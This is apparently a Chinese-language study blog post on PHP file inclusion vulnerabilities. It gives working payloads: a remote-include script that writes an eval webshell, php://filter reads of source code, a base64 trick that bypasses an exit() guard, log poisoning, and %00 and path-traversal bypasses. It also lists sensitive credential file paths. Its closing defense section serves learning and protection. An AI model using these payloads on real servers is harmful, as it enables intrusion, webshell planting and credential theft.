文件包含漏洞学习

1、概述

什么是文件包含?

将需要重复调用的函数写入一个文件,对该文件进行包含时产生的操作。

漏洞产生原因

文件包含函数加载的参数没有经过过滤或严格定义,可以被用户控制,包含其他恶意文件,导致了执行非预期代码。

示例:

<?php
$filename=$_GET['filename'];
include($filename);
?>

可以看出,改变URL中filename的值即可改变代码中包含的文件。

PHP中的文件包含函数

  • include 函数出现错误时,会抛出警告,但程序仍继续执行。
  • include_once 同 include ,但仅包含一次(避免函数重定义,变量重新赋值等问题)。
  • require 函数出现错误时,会直接报错并退出程序执行。
  • require_once 同 require ,但仅包含一次。

2、类型

2.1、本地文件包含

被包含的文件在服务器本地

包含本地敏感文件

image-20210527204155548

敏感文件默认路径列举(以下目录随系统版本不同而有差异):

  • windows系统:

    C:\windows\win.ini //基本系统配置文件

    C:\boot.ini //查看系统版本

    C:\windows\system32\inetsrv\MetaBase.xml //iis配置文件

    C:\windows\repair\same //存储windows系统初次安装密码

    C:\ProgramFiles\mysql\my.ini //mysql配置信息

    C:\ProgramFiles\mysql\data\mysql\user.MYD //mysql root密码

    C:\windows\php.ini //php配置信息

  • linux/unix系统:

    /etc/passwd //账户信息
    /etc/shadow //账户密码文件
    /usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
    /usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
    /usr/local/app/php5/lib/php.ini //php相关配置
    /etc/httpd/conf/httpd.conf //apache配置信息
    /etc/my.conf //mysql配置文件

包含上传文件

包含文件的内容只要符合php语法都能被当成php代码进行执行,无关后缀名是什么。

image-20210527203723802

2.2、远程文件包含

被包含的文件在远程服务端

条件:php.ini中设置allow_url_fopen = On(默认)、allow_url_include = On ( php5.2后默认为off )

包含远程文件

image-20210527210839912

包含远程shell

remoteshell.txt

<?php
$payload="<?php eval(\$_POST['shell']);?>";
$myfile=fopen('test.php','w') or die("can't open the file!");
fwrite($myfile,$payload);
fclose($myfile);
?>

image-20210527214700058

包含构造好的文件后,会在当前目录下创建test.php,即写入一句话木马,可以对其进行利用,后续也可用菜刀进行连接

image-20210527215840715

image-20210527215247349

3、利用方式

3.1、利用PHP伪协议

何为伪协议?简单的说,就是自己定义的协议,也只有自己的软件支持,其他软件都不识别的协议就是伪协议。

在PHP中,PHP给自己定义了一个php伪协议,以:php://起头。

至于http://file://这些都不是伪协议,都是大部分系统/软件都支持的协议,共享同一套协议标准。

php://filter

php://filter参数

php伪协议的过滤器功能,可以通过拼接各种过滤器达到快速转换字节流的效果。如:

php://filter/read=convert.base64-encode/resource=index.php

其中filter/[read|write]=[过滤器]可简写为filter/[过滤器],php会自选判断是read还是write。

此时php会读取index.php文件的内容,通过convert过滤器的base64-encode方法,最总将所得结果以php代码的形式包含到运行的php文件之中,由于base64编码之后的内容不会出现<?,所以必然不会被识别为php代码,故而能起到文件读取的作用。

image-20210527233338272

对其进行base64解码得到源码

image-20210527233513514

常用的过滤器有:

过滤器名称说明类别版本
string.rot13rot13转换字符串过滤器PHP>4.3.0
string.toupper、string.tolower大小写互转字符串过滤器PHP>5.0.0
string.strip_tags去除<?(.*?)?>的内容string.strip_tagsPHP<7.3.0
convert.base64-encode、convert.base64-decodebase64编码转换转换过滤器PHP>5.0.0
convert.quoted-printable-encode、convert.quoted-printable-decodeURL编码转换转换过滤器PHP>5.0.0
convert.iconv.编码1.编码2任意编码转换转换过滤器PHP>5.0.0
zlib.deflate、zlib.inflatezlib压缩压缩过滤器PHP>5.1.0
bzip2.compress、bzip2.decompresszlib压缩压缩过滤器PHP>5.1.0

利用 php://input 协议

主要用来接收post数据,将post请求中的数据作为php代码执行。

条件:allow_url_include = On(PHP版本>5.2后,默认值为Off)

image-20210527235351691

3.2、file_put_contents

摘自:file_put_content和死亡·杂糅代码之缘

示例:

<?php
$filename=$_GET['filename'];
$content=$_GET['content'];
file_put_contents($filename,'<?php exit();?>'.$content);
?>

$content在开头增加了exit过程,导致即使我们成功写入内容,也执行不了,这时候如何绕过?

image-20210529174557298

payload

filename=php://filter/convert.base64-decode/resource=phpinfo.php&content=aPD9waHAgcGhwaW5mbygpOyA/Pg==

对写入内容(这里是<?php phpinfo(); ?>)进行Base64编码(PD9waHAgcGhwaW5mbygpOyA/Pg==),在包含phpinfo.php这个文件时又进行Base64解码,这时写入内容还原,而死亡代码exit()被解码为乱码,达到绕过目的。

添加额外字符a:Base64解码时是4个byte一组,前面的phpexit一共7个字符,增加一个a凑成8个字符,这样phpexita 被正常解码,而后面我们写入的内容也才会正常解码。

base64编码中只包含64个可打印字符(大小写字母,0-9,+,/),而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。

image-20210529180216634

image-20210529180259106

3.3、其他协议

除了php伪协议外,PHP还支持包含以下协议的数据流:

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

如利用file协议:

image-20210527232103966

3.4、配合日志文件

如果知道服务器日志文件的路径,可在URL请求中添加攻击代码,此代码会被记录在服务器日志文件内,再对日志文件进行包含,攻击代码便会被执行。(前提有访问权限)

测试靶场:DVWA

image-20210527230821426

在日志文件中可见,部分字符被URL编码,代码无法执行,可用burpsuite抓包改回。

image-20210527231123446

image-20210527231156043

利用文件包含漏洞包含此日志文件,即可执行插入代码

image-20210527231313524

4、绕过方式

  • %00截断

条件:magic_quotes_gps=off php版本<5.3.4

示例:

<?php include("inc/" . $_GET['file'] . ".php"); ?>

这里对后缀名进行了限制,可是我们无法上传php文件,满足条件下可用00截断绕过。

?page=…/…/…/…/phpinfo.php%00

  • 长度截断

前提:PHP版本<5.2.10

操作系统对于目录字符串存在长度限制,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复./即可:

lfi.php?file=././././[./]+/./shell.txt
lfi.php?file=./shell.txt/.[...]+. # 仅Windows下有效
  • 重写

?page=…//…//…//phpinfo.php

  • 利用php伪协议等

5、危害

最简单的,我们可以通过上传一个包含webshell内容的图片,然后通过包含此图片即可得到一个可以控制的webshell。

  • 获取敏感信息
  • 执行任意命令
  • 获取服务器权限

6、防御

  1. 尽量不使用动态包含,无需情况下设置allow_url_include和allow_url_fopen为关闭;
  2. 对可以包含的文件进行限制︰使用白名单的方式,或者设置包含的目录,open_basedir ;
  3. 严格检查用户输入,参数中不允许出现…/之类的目录跳转符;
  4. 严格检查变量是否初始化;
  5. 不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。

参考资料:

[1] PHP 本地文件包含(LFI)漏洞学习笔记

[2] file_put_content和死亡·杂糅代码之缘

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值